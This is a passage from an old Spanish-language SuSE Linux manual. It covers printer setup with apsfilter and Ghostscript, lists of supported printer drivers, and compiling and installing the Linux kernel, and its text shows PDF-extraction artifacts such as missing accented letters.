se debe copiar uno de los ficheros apsfilterrc (que valen para todo el sis-
tema) al directorio personal y modificarlo segn necesidad.

12.4 Impresoras de red con apsfilter


El sistema spooling BSD considera una impresora de red (con tarjeta de red
propia) como un host remoto con colas de impresin propias (los nombres
7 Ver la variable $allowed en /var/lib/apsfilter/apsfilter.

297
12. Impresoras

figuran en el manual de la impresora, frecuentemente es LPT1, etc.). De este


modo es posible acceder a ella a travs de una cola de impresin remota, p. ej.
con remote, desde la computadora local.
Se presenta una cierta complicacin a la hora de filtrar las tareas de impresin
ya que el daemon de impresin lpd (paquete lprold) nunca hace un pre-
filtrado para colas remotas y adems ignora las indicaciones sobre filtros en
el fichero /etc/printcap. Por lo tanto, las tareas para la cola remote ya
deben incluir datos especficos de la impresora. Esto se consigue mediante
un pre-filtrado usando la caracterstica bypass de la versin de SuSE del
apsfilter.
Si se desea usar YaST para la configuracin, se tiene que intervenir manual-
mente, por lo cual es preferible usar SETUP para mayor comodidad. En tal
caso, se inicia SETUP como se ha explicado en el apartado 12.3, Pgina 294
y a continuacin vendr la pregunta sobre el `DEVICE' (ver Pgina 295):

PARALLEL Parallel printer interface


SERIAL Serial printer interface
PREFILTER to an other queue (bypass)
REMOTE printer forwarding queue

1. Se debe configurar primero con `REMOTE' una cola que se refiera al servi-
dor remoto (ingl. remote host). Vendr luego la pregunta sobre el host
(servidor) al cual est conectada la impresora (en este ejemplo sol) y por
la cola de impresin remota (ingl. remote printer) (generalmente es lp,
no obstante, en caso de duda lo mejor es consultar al administrador de
red). Con esto se finaliza la definicin de la cola remota pero hay que
establecerla realmente con `ADD' : : : La entrada en /etc/printcap se
parece en este momento a la del Fichero 12.4.1, Pgina 298.

remote|lp1|sol-lp|sol lp:\
:lp=:\
:rm=sol:\
:rp=lp:\
:sd=/var/spool/lpd/sol-lp:\
:lf=/var/spool/lpd/sol-lp/log:\
:af=/var/spool/lpd/sol-lp/acct:\
:ar:bk:mx#0:\
:sh:

Fichero 12.4.1: /etc/printcap: Impresora de red

2. Ahora le toca el turno al pre-filtrado local. Cuando venga la pregunta


por el `DEVICE', se debe seleccionar `PREFILTER' (ingl. to an other
queue (bypass)). SETUP es ahora lo suficientemente listo como para
ofrecerle la impresora de red que se acaba de configurar:
remote remote=sol queue=lp
El resto de la configuracin es equivalente a la de una impresora local (ver
Pgina 295). Cuando finalmente se pulse `ADD', se encontrar aparte de

298
12.5. Ghostscript

/etc/apsfilterrc (ver el Fichero 12.3.2, Pgina 294) un fichero adi-


cional denominado /etc/apsfilterrc.<gs_mode> con la siguiente
entrada:
REMOTE_PRINTER="remote"
Esta entrada hace referencia a la impresora de red. Cuando hay varias
impresoras de red se usan los nombres con los que stas se identifican en
la red, en lugar de "remote"8 .

A continuacin se representa grficamente una configuracin semejante:


*-------------*
| lpr -Praw |
+-------------+ *-----------*
| lpr (auto) |---[lpd]---| apsfilter |--[lpd]---> /dev/lpX
+-------------+ | # |
| lpr -Pascii | | bypass |
*-------------* *-----------*
|
*-----------------*
| lpr -Psol |
*-----------------*
|
[ lpd ]
|
[ ethernet ]
|
[ lpd on sol ]
|
*-----------------*
| filter for lp |-------> /dev/lpX
*-----------------*

12.5 Ghostscript
Si no se posee una impresora que funcione con PostScript, Ghostscript es el
programa ms popular para hacer de filtro de impresin. Este recibe como
entrada ficheros en PostScript y para su conversin a un formato especfico
apto para la impresora, contiene una multitud de drivers.
Ghostscript es un programa complejo con muchas opciones para la lnea
de comandos y se explica en la Manpage de gs (man gs). Si se ejecuta
Ghostscript sin ninguna opcin, aparecer un dilogo con un prompt propio,
GS>, del cual se sale con el comando quit. En este libro har falta mucho
espacio para discutir todas las opciones disponibles, pero por suerte, tampoco
hace falta ya que el apsfilter se encarga de construir la lnea de comandos,
que de no hacerlo, podra resultar bastante complicado.
Solo mencionamos el siguiente comando que resulta realmente til,
tux@tierra: > gs -h | less
y que muestra las opciones ms usadas y algo importante! la versin
actual tal como la lista de las impresoras soportadas. La ltima lista en el
momento de imprimir este libro se presenta en el apartado 12.6.
8 Si se configura con YaST, se debe liberar esta entrada a mano e indicar /dev/null como

dispositivo.

299
12. Impresoras

Si se presentan dificultades con la impresora se puede realizar una prueba en


la que se ejecute directamente Ghostscript con un fichero PostScript (.ps) y
se le envan a la impresora los datos especficos de la misma. Hay una serie
de ficheros PostScript en los siguientes directorios:
/usr/share/ghostscript/<nmero_versin>/examples o /var/
lib/apsfilter/test.
La llamada a Ghostscript, p. ej. para el driver de impresora necp6 con una
resolucin de 360  360, y la posterior impresin en la impresora /dev/lp0,
se lleva a cabo con el siguiente comando:
tux@tierra: > gs -q -dNOPAUSE -dSAFER -sDEVICE=necp6 \
-r360x360 -sOutputFile=FicheroTest.lpr ArchivoTest.ps quit.ps
tux@tierra: > su
tierra: # cat FicheroTest.lpr > /dev/lp0
Si se usa el uniprint-driver con un fichero de parmetros, el comando (para
una impresora de la serie Stylus) es el siguiente:
tux@tierra: > gs @stc.upp -q -dNOPAUSE -dSAFER \
-r360x360 -sOutputFile=FicheroTest.lpr ArchivoTest.ps quit.ps
tux@tierra: > su
tierra: # cat FicheroTest.lpr > /dev/lp0
Consejo: El directorio /usr/share/ghostscript/<versin>/doc con-
tiene mucha informacin valiosa, como p. ej. los consejos en devices.txt
que informa sobre una serie de impresoras ms recientes.
Para obtener informacin actualizada sobre Ghostscript (versiones, soporte
de impresoras, etc.), consulte la Homepage de Ghostscript. El URL es http:
//www.cs.wisc.edu/~ghost/.

12.6 Listado de las impresoras soportadas


Aparte de las impresoras PostScript, HP Deskjet y Epson Stylus, Ghostscript
soporta una serie de impresoras adicionales (versin 5.10). Lo nuevo
desde la versin 5 es el uniprint-driver que se adapta a la impre-
sora en cuestin junto con un fichero de parmetros especficos. Es
posible seleccionar estos ficheros de parmetros con SETUP y adap-
tarlos a las necesidades particulares. Los ficheros se encuentran en
/usr/share/ghostscript/<VERSION>/ con la extensin .upp y es
preferible usarlos antes de hacer uno propio (ver Tabla 12.1, Pgina 302).

Canon

bjc610a0.upp BJC 610, 360x360DPI, plain paper high speed, col-


or, rendered
bjc610a1.upp BJC 610, 360x360DPI, plain paper, color, rendered
bjc610a2.upp BJC 610, 360x360DPI, coated paper, color, ren-
dered

Tabla 12.1: Contina en la pgina siguiente ...

300
12.6. Listado de las impresoras soportadas

bjc610a3.upp BJC 610, 360x360DPI, transparency film, color,


rendered
bjc610a4.upp BJC 610, 360x360DPI, back print film, color, ren-
dered
bjc610a5.upp BJC 610, 360x360DPI, fabric sheet, color, rendered
bjc610a6.upp BJC 610, 360x360DPI, glossy paper, color, ren-
dered
bjc610a7.upp BJC 610, 360x360DPI, high gloss film, color, ren-
dered
bjc610a8.upp BJC 610, 360x360DPI, high resolution paper, color,
rendered
bjc610b1.upp BJC 610, 720x720DPI, plain paper, color, rendered
bjc610b2.upp BJC 610, 720x720DPI, coated paper, color, ren-
dered
bjc610b3.upp BJC 610, 720x720DPI, transparency film, color,
rendered
bjc610b4.upp BJC 610, 720x720DPI, back print film, color, ren-
dered
bjc610b6.upp BJC 610, 720x720DPI, glossy paper, color, ren-
dered
bjc610b7.upp BJC 610, 720x720DPI, high gloss paper, color, ren-
dered
bjc610b8.upp BJC 610, 720x720DPI, high resolution paper, color,
rendered

Hewlett-Packard

cdj550.upp Deskjet 550c, 300x300DpI, Gamma=2

NEC

necp2x.upp Prinwriter 2X, 360x360DPI, Plain Paper


necp2x6.upp Prinwriter 2X, 360x360DPI, Plain Paper

Epson

stc.upp Stylus Color I (and PRO Series), 360x360DPI, Plain


Paper
stc_h.upp Stylus Color I (and PRO Series), 720x720DPI, Spe-
cial Paper
stc_l.upp Stylus Color I (and PRO Series), 360x360DPI,
noWeave
stc1520h.upp Stylus Color 1520, 1440x720DPI, Inkjet Paper
stc2.upp Stylus Color II / IIs, 360x360DPI, Plain Paper
stc2_h.upp Stylus Color II, 720x720DPI, Special Paper

Tabla 12.1: Contina en la pgina siguiente ...

301
12. Impresoras

stc2s_h.upp Stylus Color IIs, 720x720DPI, Special Paper


stc500p.upp Stylus Color 500, 360x360DPI, not Weaved, Plain
Paper
stc500ph.upp Stylus Color 500, 720x720DPI, not Weaved, Plain
Paper
stc600ih.upp Stylus Color 600, 1440x720DPI, Inkjet Paper
stc600p.upp Stylus Color 600, 720x720DPI, Plain Paper
stc600pl.upp Stylus Color 600, 360x360DPI, Plain Paper
stc800ih.upp Stylus Color 800, 1440x720DPI, Inkjet Paper
stc800p.upp Stylus Color 800, 720x720DPI, Plain Paper
stc800pl.upp Stylus Color 800, 360x360DPI, Plain Paper
stcany.upp Any Stylus Color, 360x360DPI

Tabla 12.1: Ficheros de parmetros del uniprint-driver


(Ghostscript 5.10)

Si no se encuentra ningn fichero de parmetros para un modelo de impresora


en particular, se usa un driver de eficacia comprobada de los contenidos en
la Tabla 12.2, Pgina 304.

Apple

appledmp Apple Dot Matrix Printer (tambin Imagewriter)


iwhi Apple Imagewriter, resolucin alta
iwlo Apple Imagewriter, resolucin baja
iwlq Apple Imagewriter, 320x216 dpi

Canon

bj10e BubbleJet 10e


bj200 BubbleJet 200
bjc600 BubbleJet 600c, 4000c (color)
bjc800 BubbleJet 800c (color)
lbp8 LBP-8II
lips3 LIPS III

DEC

declj250 LJ 250
la50 LA50
la70 LA70
la75 LA75

Tabla 12.2: Contina en la pgina siguiente ...


302
12.6. Listado de las impresoras soportadas

la75plus LA75 Plus


lj250 LJ250
ln03 LN03

Epson

ap3250 AP3250
eps9high FX-80-compatible, 240 dpi
eps9mid FX-80-compatible, 120 dpi
epson FX-80-compatible de 9- o 24-agujas
epsonc LQ-2550, Fujitsu 1200/2400/3400, color
lp8000 LP-8000 impresora laser
lq850 LQ-850, matricial de 24-agujas, 360dpi
st800 Stylus 800, ESC/P2
stcolor Stylus Color

Hewlett-Packard

cdeskjet DeskJet 500C, impreso blanco y negro


cdj500 DeskJet 500C, 540C
cdj550 DeskJet 550C, 560C
cdj670 DeskJet 670C, 690C
cdj850 DeskJet 850C, 855C, 870C, 1100C
cdj890 DeskJet 890C
cdj1600 DeskJet 1600C
cdjcolor DeskJet 500C, impreso color
cdjmono DeskJet 500C, impreso blanco y negro
deskjet DeskJet, DeskJet Plus
djet500 DeskJet 500
djet500c DeskJet 500c
djet820c DeskJet 820Cse y 820Cxi; quiz tambin las de la
serie 1000
dnj650c DesignJet 650C
hpdj DeskJet con soporte PCL-3 (Impreso en color y
blanco y negro)
Ghostscript-Info: hpdj/gs-hpdj.txt
laserjet LaserJet
ljet2p LaserJet IIp
ljet3 LaserJet III
ljet3d LaserJet IIID
ljet4 LaserJet IV
ljetplus LaserJet Plus
lj4dith LaserJet IV, dithered
lj5mono LaserJet 5 & 6 (PCL XL), Bitmap
lj5gray LaserJet 5 & 6, Bitmap con escala de grises

Tabla 12.2: Contina en la pgina siguiente ...

303
12. Impresoras

lp2563 2563B LinePrinter


paintjet PaintJet Impresora color
pj PaintJet XL, alternativa
pjetxl PaintJet 300XL
pjxl PaintJet 300XL
pjxl300 PaintJet 300XL, DeskJet 1200C

IBM

ibmpro Proprinter, 9-agujas


jetp3852 Jetprinter 3852

OKI

oki182 MicroLine 182


okiibm MicroLine, compatible IBM

Tektronix

t4693d2 4693d, Impreso en color


t4693d4 4693d, Impreso en color
t4693d8 4693d, Impreso en color
tek4696 4695/4696

Otros

imagen Imagen ImPress


m8510 C.Itoh M8510
necp6 NEC P6, P6+, P60 bei 360 dpi
oce9050 OCE 9050
r4081 Ricoh 4081, impresora laser
sj48 StarJet 48
cp50 Mitsubishi CP50, impresora color
xes Xerox XES (2700, 3700, 4045)

Tabla 12.2: Impresoras soportadas (Ghostscript 5.10)

Por supuesto, todas las impresoras compatibles a la HP4 Laserjet y otras


impresoras PostScript estn directamente soportadas.
Si se instala con apsfilter o se configura con YaST, es preciso indicar el
acrnimo de la impresora en la columna izquierda (p. ej. djet500).
Si la impresora en cuestin no figura en la lista, esto no descarta la posibilidad
de que an podamos usar el APS-filtro ya que muchas veces sirve el driver de
un modelo anterior. En este caso, se selecciona un driver del modelo que ms
se le parezca. Se puede obtener ayuda adicional con el CDB (ingl. Component

304
12.7. Lista de comprobacin: apsfilter

Database), el banco de datos de hardware recopilado por SuSE. Se encuentra


en http://www.suse.de/cdb/ o localmente, si el paquete cdb, serie doc
est instalado.

En el mercado hay muchas impresoras que se venden con la etiqueta for


Windows o impresora-GDI. Tales impresoras muchas veces no funcio-
nan bajo Linux o con suerte con muchas restricciones. Para mayor infor-
macin consulte el CDB bajo http://www.suse.de/cdb/ o pregunte su
distribuidor!
Para HP DeskJets de estas caractersticas existe un programa conversor
para la impresin en blanco y negro (paquete ppa, serie ap); respec-
to a la instalacin se puede consultar la documentacin en usr/doc/
packages/ppa y/o en el SDB, el artculo http://www.suse.de/sdb/
de/html/ke_printer-gdi.html. En cuanto a impresoras de Lexmark
(modelos 5700, 7000 y 7200) sirve el paquete pbm2l7k, serie ap; la docu-
mentacin el respecto se encuentra en /usr/doc/packages/pbm2l7k.

Un fallo frecuente es una resolucin incompatible. En este caso se puede


indicar la resolucin correcta (o sea los dpi reales de la impresora) mediante la
variable $GS_RESOL en /etc/apsfilterrc (p. ej. GS_RESOL=360x360.
Ya hay all en forma de comentario algunas entradas de este tipo.)

12.7 Lista de comprobacin: apsfilter


 El paquete aps, serie ap para el apsfilter est instalado?
 Se ha configurado apsfilter con YaST o con /var/lib/apsfilter/
SETUP?
 Esta instalado el paquete net_tool, paquete netcfg, paquete nkita y
el paquete nkitb (todos de la serie a)? Est instalado el paquete lprold
de la serie n?
 El kernel tiene soporte TCP/IP? Se reconoce por el mensaje "IP
Protocols: ICMP, UDP, TCP" en /var/log/boot.msg.
 El soporte de puertos/interfaces paralelos est activado? Pruebas para
el kernel 2.0.xx:
La actividad del driver lp se reconoce por mensajes de kernel co-
mo "lp1 at 0x378, (polling)". Estos aparecen en /var/log/
messages cada vez que se carga este mdulo (driver); p. ej. cuando se
carga y descarga el mdulo manualmente mediante:
tierra: # rmmod lp
tierra: # modprobe lp
Adems, el comando /sbin/lsmod debe mencionar el mdulo lp, si
este se ha cargado correctamente.
Si el mdulo lp fue compilado adentro del kernel, los mensajes apare-
cen en el fichero: /var/log/boot.msg.
Una interfaz es activa, p. ej. /dev/lp1, cuando la respuesta del co-
mando
tunelp /dev/lp1 es "/dev/lp1 using polling" o "/dev/lp1
using IRQ nnn".

305
12. Impresoras

 Es posible enviar datos directamente a la interfaz de la impresora usando


el comando cat? se puede probar p. ej. con
tierra: # cat /var/log/boot.msg > /dev/lp1
o con
tierra: # cat /var/log/boot.msg > /dev/lp0
Si esto no funciona, se debe comprobar lo siguiente:
El mdulo lp realmente est cargado? En el caso del kernel 2.2.xx
tambin se precisa la carga de los mdulos parport y parport_pc
(ver el apartado 11.4, Pgina 278).
Quiz la computadora tiene una BIOS del tipo Plug-and-Play y la
configuracin de la interfaz est en auto. En este caso, se asigna
explcitamente a la interfaz una direccin de memoria (el estndar es:
0x0378 o solo 378).
Si los indicadores luminosos de la impresora solo parpadean, es posi-
ble que la interfaz este configurada como ECP+EPP y la impresora no
lo acepta. Pruebe con cambiar la configuracin a modo normal o a
SPP o ECP.
 Si la impresora no soporta la resolucin estndar de 300  300 dpi, se
debe comprobar si la resolucin que figura en el manual de la impresora
fue definida con YaST o se encuentra en /etc/apsfilterrc.
 Qu resultado da lpc status?
 Probar con lpc up all.
 Por lo menos la cola raw debera funcionar para todas las impresoras y
permitir as la impresin de ficheros ASCII; una excepsin son las impre-
soras GDI (ver Pgina 305).
 Si las hojas se imprimieran de forma apaisada, aunque esto no debiera
ocurrir, se debe consultar la Pgina 293.
 Cuando se use el comando lpr con la opcin -P, no se debe agregar
ningn espacio por delante del nombre de la impresora.
 Si es posible imprimir texto ASCII a travs de la cola raw (-Praw),
se puede intentar imprimir un fichero PostScript con lpr. La primera
posibilidad es la de crear un fichero PostScript e imprimirlo despus:
tux@tierra: > a2ps -nP -1 -p /etc/hosts > /var/tmp/hosts.ps
tux@tierra: > lpr /var/tmp/hosts.ps

Tambin puede usar un fichero PostScript suministrado con Ghostscript:


tux@tierra: > lpr /usr/share/ghostscript/5.10/examples/tiger.ps

 Controlar los ficheros-log en /var/spool/lpd/Nombre_Driver,


donde Nombre_Driver debe ser reemplazado por el driver que haya
elegido.
 Trabaja con la interfaz de impresora correcta? (ver apartado 12.1)
 El kernel no debe incorporar el mdulo (driver) para PLIP! (comprobar
en /var/log/boot.msg)

306
Parte VI

El kernel y sus parmetros

307
Captulo 13
El kernel

El kernel que se copia despus de la instalacin en el disquete y que se en-


cuentra tambin en el directorio root del sistema instalado, tiene una config-
uracin que cubre un amplio espectro del hardware. Esto abre la posibilidad
de optimizar y adaptar el kernel a un sistema especfico, por lo tanto es una
ventaja aunque no es necesario! generar un kernel propio. Adems, hay
algunos dispositivos que solo se pueden usar haciendo este bricolaje con el
kernel (p. ej. tarjetas de sonido, algunos mouse exticos). Finalmente es la
configuracin de un kernel propio el que permite conocer el estado del arte
en el desarrollo de Linux.
Ya existen Makefiles para el compilador C que permiten generar un kernel
nuevo de un modo casi totalmente automatizado. Solo hace falta entrar en una
utilidad de configuracin y definir el hardware que el kernel debe soportar.
El soporte de instalacin no cubre la compilacin de un kernel propio (ver
apartado H.1.2, Pgina 481).

La siguiente descripcin contempla bsicamente los kernel de la serie


2.2.x. y existen muchas cosas que coinciden con los kernel de la serie
2.0.x. Sin embargo, en cuanto a los detalles, pueden existir pequeas pero
importantes diferencias!

13.1 Las fuentes del kernel


Para poder generar un kernel propio se deben instalar las fuentes del kernel
(paquete lx_suse), el compilador de C (paquete gcc), los GNU Binutils
(paquete binutils) y las libreras de C (Include-files) (paquete libc). Estos
paquetes se encuentran en la serie serie D (Development). En todo caso es
muy recomendable instalar el compilador de C ya que el lenguaje C y el
sistema operativo Unix estn intrnsecamente vinculados.
Las fuentes del kernel se encuentran en el directorio /usr/src/linux. Si
le gusta experimentar con el kernel y tener varias versiones en el disco, re-
sulta bastante prctico desempaquetar las fuentes de los diferentes kernel en
diferentes directorios y acceder a las actualmente vlidas mediante un enlace
simblico. YaST instala los paquetes de esta forma automticamente.
En realidad se podran instalar y compilar las fuentes del kernel en cualquier
directorio, pero existe bastante software que espera encontrar las fuentes del

309
13. El kernel

kernel en el directorio /usr/src/linux. Por lo tanto es mejor optar por este


directorio para asegurar la compilacin correcta de cualquier programa.

13.2 Mdulos del kernel


Existen actualmente muchos drivers y funciones adicionales que no deben
necesariamente, formar parte fija del kernel, sino que pueden ser cargados
como mdulos (ingl. kernel module) en tiempo de ejecucin. Durante la
configuracin del kernel es cuando se determina cules drivers se incorporan
de forma fija al mismo y cules como mdulo.
Los mdulos del kernel se guardan en el directorio /lib/modules/
<versin>, donde <versin> corresponde a la versin actual del kernel.
Siempre que sea posible se debe aprovechar la posibilidad de usar mdulos.
Siga la pauta: las funciones del kernel que no se necesitan durante el arranque
de la computadora, se deben realizar como mdulos; de este modo se asegura
que el kernel no crezca demasiado y que ni la BIOS ni ningn gestor de
arranque tenga problemas al cargar el kernel. Esto significa que el driver del
disco duro, el soporte de ext2 y otras funciones parecidas siempre deben
formar parte del kernel, mientras que el soporte de isofs, msdos o sound
siempre se deberan compilar como mdulos.

Manejo de los mdulos


Existen los siguientes comandos para trabajar con mdulos:
 insmod
El comando insmod carga el mdulo indicado que se busca en un sub-
directorio de /lib/modules/<versin>. A favor del mejor comando
modprobe se debera dejar de usar insmod.
 rmmod
Este comando descarga el mdulo indicado, lo cual solo es posible cuando
se ha dejado de usar esta funcin del mdulo, por lo que no es posible de
descargar p. ej. el mdulo isofs cuando todava hay un CD montado.
 depmod
Este comando genera en el directorio /lib/modules/<versin> el
fichero modules.dep que registra la dependencia de los mdulos entre
s. De este modo hay seguridad de que se cargan automticamente todos
los mdulos que dependen del primero. Si el inicio del kernel-damon
est previsto en /etc/rc.config, el fichero con las dependencias de los
mdulos se genera automticamente cuando Linux se inicia (salvo que el
fichero ya exista).
 modprobe
Carga o descarga de un mdulo considerando las dependencias con otros.
El comando es muy verstil as que se puede usar para muchas otras cosas
(p. ej. para probar todos los mdulos de un determinado tipo hasta que se
cargue uno exitosamente). Al contrario de insmod, modprobe evala el
fichero /etc/conf.modules y por eso solo se debera usar para cargar
mdulos. La Manpage de modprobe explica todas las posibilidades.

310
13.3. Configuracin del kernel

 lsmod
Muestra los mdulos actualmente cargados y sus dependencias. Los
mdulos que fueron cargados por el kernel-damon se identifican por
(autoclean) al final de la lnea. Esta palabra indica que se trata de
un mdulo que se descarga automticamente cuando deja de ser usado
para un determinado tiempo.

/etc/conf.modules
El fichero /etc/conf.modules influye sobre la carga de mdulos (ver Man-
page de depmod (man depmod)). Es precisamente este fichero el que permite
indicar los parmetros para aquellos mdulos que acceden directamente al
hardware y por lo tanto deben ser adaptados a la computadora especfica (p. ej.
driver de unidades CD-ROM o driver para tarjetas red). Los parmetros que
se indican en este fichero son en principio idnticos a los que se pasan al ker-
nel (p. ej. con LILO) a la hora de arrancar (ver apartado 14.3.2), sin embargo,
en muchos casos sus nombres son diferentes (ver el apartado 14.3.4). Si no
se consigue cargar un mdulo, intente especificar el hardware en el fichero
/etc/conf.modules y para cargarlo se debe usar el mdulo modprobe en
lugar de insmod.

kmod el Kernel Module Loader


El modo ms elegante para emplear mdulos de kernel es desde la versin
2.2.x el uso del Kernel Module Loader, que reemplaza al kernel-damon
(kerneld) antiguo. kmod permanece en segundo plano y se ocupa de cargar
automticamente los mdulos con llamadas a modprobe cuando se necesita
la correspondiente funcin del kernel.
Para usar el kmod se debe activar, durante la configuracin del kernel, la
opcin `Kernel module loader' (CONFIG_KMOD).

Los drivers que se necesitan para acceder al sistema de ficheros raz deben
estar incorporados al kernel!, por lo cual, no se debe configurar el driver
SCSI ni el sistema de ficheros de la particin raz (normalmente ext2)
como mdulos!

El uso de los mdulos del kernel se ofrece sobre todo para funciones de uso
poco frecuente como p. ej. el driver de Ramdisk, parport y el soporte de
impresora, driver para disqueteras o determinados sistemas de ficheros.

13.3 Configuracin del kernel


Se puede configurar el kernel de tres formas distintas:

1. En la lnea de comando
2. En un men en modo texto
3. En un men bajo el Sistema X Window

Estas tres formas de configuracin se presentan a continuacin.

311
13. El kernel

Configuracin en la lnea de comando


Para configurar el kernel se cambia a /usr/src/linux y se introduce el
siguiente comando:
tierra:/usr/src/linux # make config
Aparece una serie de preguntas sobre las funciones que el kernel debe sopor-
 o n o bien y (ingl. yes), n (ingl. no) o m (ingl. module). `m'
tar y para contestarlas existen generalmente dos o tres posibilidades: Ya sea
el sencillo y     
significa que el driver correspondiente no se incorpora fijo en el kernel, sino
que es posible aadirlo en tiempo de ejecucin. Por supuesto, todos los
 .
drivers que se necesitan para arrancar el sistema deben incorporarse de forma
fija al kernel; para estos mdulos pulse y 
Al presionar cualquier otra tecla, aparece una ayuda corta sobre la correspon-
diente opcin.

Configuracin en modo texto


Recomendado! Una va ms asequible para configurar el kernel se consigue con el comando:
tierra:/usr/src/linux # make menuconfig
Una gran ventaja es p. ej. que no hace falta pasar por una gran cantidad de pre-
guntas introduciendo una pequea modificacin y adems, la configuracin
es ms estructurada.

Configuracin bajo el Sistema X Window


Si est instalado el Sistema X Window (paquete xf86) tal como Tcl/Tk (pa-
quete tcl y paquete tk), queda la alternativa de iniciar el proceso de insta-
lacin con:
tierra:/usr/src/linux # make xconfig
De este modo se dispone de una superficie grfica ms confortable pero es
preciso iniciar el Sistema X Window como superusuario `root', pues de lo
contrario habra que tomar medidas adicionales para tener acceso a la pantalla
de otro usuario.

13.4 Ajustes en la configuracin del kernel


Ayuda Debido a la cantidad no es posible detallar en este manual todas las opciones
que ofrece la configuracin del kernel, pero se puede usar la amplia ayuda en
lnea de la que se dispone durante la configuracin del kernel. Lo ms nuevo
en cuanto a documentacin se encuentra siempre en el paquete de las fuentes
del kernel en el directorio /usr/src/linux/Documentation.

13.5 Compilacin del kernel

Si desea instalar su propio kernel en el directorio /boot, quite


sencillamente el smbolo de comentario por delante de la lnea
INSTALL_PATH=/boot (aprox. lnea 74) en el Makefile principal.

312
13.5. Compilacin del kernel

Una vez adaptado el kernel a sus necesidades, debe iniciar la compilacin


con:
tierra:/usr/src/linux # make dep
tierra:/usr/src/linux # make clean
tierra:/usr/src/linux # make zImage
Se pueden introducir tambin los 3 comandos en una sola lnea y as se eje-
cutan uno despus del otro. De esta manera, la compilacin se hace au-
tomticamente, lo que permite salir a tomar un caf o dejar la computadora
trabajando durante la noche. Para ello introduzca:
tierra:/usr/src/linux # make dep clean zImage
Segn la potencia de la computadora, sta tarda entre 4 minutos ( PentiumPro1
rpido) y un par de horas (386 con 8 MB de RAM) para compilar el kernel.
Despus de una compilacin exitosa el kernel comprimido se encuentra en el
directorio /usr/src/linux/arch/i386/boot. La imagen del kernel, o sea
el fichero que contiene el kernel, se llama zImage . Si este no se encuentra
en el mencionado directorio, lo ms probable es que haya ocurrido un error
durante la compilacin y que su respectivo mensaje se haya perdido entre
todos los mensajes en pantalla. Para comprobar si realmente hubo un error se
puede iniciar la compilacin por segunda vez con:
tierra:/usr/src/linux # make zImage
y observar si realmente aparecen errores. No hay por qu asustarse, errores
durante la compilacin del kernel son ms bien escasos!
Si se trabaja con la shell Bash, se pueden direccionar los mensajes de la
compilacin al fichero kernel.out con el comando:
tierra:/usr/src/linux # make zImage 2>&1 | tee kernel.out
El mismo comando bajo Tcsh sera:
tierra:/usr/src/linux # make zImage |& tee kernel.out
Si hay funciones del kernel que se realizan con mdulos, es preciso compi-
larlos, lo cual se consigue con el siguiente comando:
tierra:/usr/src/linux # make modules

A veces es necesario seleccionar tantas caractersticas del kernel que este


llega a ser demasiado grande. El resultado es que no se compila o que
no se puede cargar ("kernel too big" o "System is too big"). En
este caso se puede tratar de generar e instalar un kernel grande. Los
comandos necesarios para tal caso son los siguientes:
tierra:/usr/src/linux # make bzImage
tierra:/usr/src/linux # make bzlilo
Sin embargo, antes de hacerlo, reflexione sobre la posibilidad de sacar del
kernel algunos drivers y realizarlos como mdulos.

1 Una prueba comn para hardware y software es la compilacin del kernel con la opcin
make -j, que requiere de mucha memoria RAM (hasta ms de 100 MB). En este caso se inicia
un compilador para cada fichero fuente.

313
13. El kernel

13.6 Instalacin del kernel


Despus de la compilacin del kernel se debe procurar tambin que ste se
inicie; si se usa LILO para arrancar, es preciso reinstalarlo. Lo ms fcil es
copiar el kernel nuevo a /boot/vmlinuz (ver apartado 13.5, Pgina 312)
e iniciar despus LILO. Sin embargo, es mejor conservar el kernel antiguo
(/boot/vmlinuz.old) para evitar sorpresas, en caso de que el nuevo no
funcione tal como se espera:
tierra:/usr/src/linux # cp /boot/vmlinuz /boot/vmlinuz.old
tierra:/usr/src/linux # cp arch/i386/boot/zImage /boot/vmlinuz
tierra:/usr/src/linux # lilo
Los mdulos compilados tambin se deben instalar; el siguiente comando:
tierra:/usr/src/linux # make modules_install
los copia en los directorios de destino correctos (/lib/modules/<versin>).
Se debe agregar al fichero /etc/lilo.conf (ver apartado 4.4.1) un label
(rtulo) adicional denominado Linux.old y modificar el nombre del kernel
antiguo a /boot/vmlinuz.old. As se puede arrancar seguro con el kernel
antiguo en caso de que se presentara algn problema con el nuevo. Se trata
de una posibilidad que se explica detalladamente en el Captulo 4.
Si el fichero /etc/lilo.conf est adaptado a las propias necesidades, se
puede instalar el LILO automticamente con:
tierra:/usr/src/linux # make zlilo
Por otra parte, en caso de iniciar Linux desde DOS usando linux.bat o
sea con loadlin se necesita copiar el kernel nuevo a /dosc/loadlin/
zimage2, para que se active despus del prximo arranque.
Si se inicia Linux con el gestor de arranque de Windows NT no se debe olvi-
dar de copiar nuevamente el sector de arranque de LILO (ver apartado 4.7.2).
Adems tenga en cuenta lo siguiente: el fichero /boot/System.map con-
tiene los smbolos del kernel necesarios para que los mdulos puedan ac-
ceder correctamente a las funciones del kernel. Este fichero depende de
la versin actual del kernel por lo que se debera copiar el fichero actual3
/usr/src/linux/System.map al directorio /boot una vez que la compi-
lacin haya finalizado. Si se usa el comando make zlilo para generar el
kernel, la mencionada copia se hace automticamente.
Un mensaje como "System.map does not match actual kernel" du-
rante el arranque del sistema, indica que el fichero System.map no se ha
copiado al directorio /boot.

13.7 Generar un disquete de arranque


Para generar un disquete de arranque con el kernel nuevo, se puede usar
sencillamente el siguiente comando:
tierra:/usr/src/linux # make zdisk

2 O bien al lugar donde realmente est loadlin instalado.


3 Despus de cada compilacin este fichero se genera de nuevo.

314
13.8. Limpieza del disco despus de la compilacin del kernel

13.8 Limpieza del disco despus de la compilacin del ker-


nel
Los (ficheros de) objetos que se generan durante la compilacin del kernel se
pueden borrar si estos ocupan demasiado espacio de disco:
tierra: # cd /usr/src/linux
tierra:/usr/src/linux # make clean
Sin embargo, si dispone de suficiente espacio de disco y adems piensa mod-
ificar la configuracin del kernel puede saltarse este paso. De este modo una
nueva compilacin va mucho ms rpido, ya que solo se compilan las partes
del sistema que fueron modificadas.

315
13. El kernel

316
Captulo 14
Parmetros del kernel

14.1 Drivers del kernel


Existe una gran variedad de componentes y perifricos para PCs. El sistema
operativo necesita una serie de drivers (en el caso de Linux el kernel)
para poder acceder a estos dispositivos. En principio existen dos mecanismos
para dar al kernel la funcionalidad de un driver:

 Los drivers se pueden incorporar fijamente al kernel. Un kernel de este


tipo, de una sola pieza, se denomina en este libro kernel monoltico. El
CD contiene kernels monolticos para hacer de ellos disquetes de arranque
que se utilizan tambin en hardware "extico". Algunos drivers solamente
existen en esta forma, por lo tanto los kernels monolticos no dejan de
tener justificacin.
 Los drivers se incorporan al kernel en el momento que se necesitan; un
kernel de tal caracterstica se denomina kernel modularizado. La ventaja
es que solo los drivers necesarios se cargan en el momento necesario y
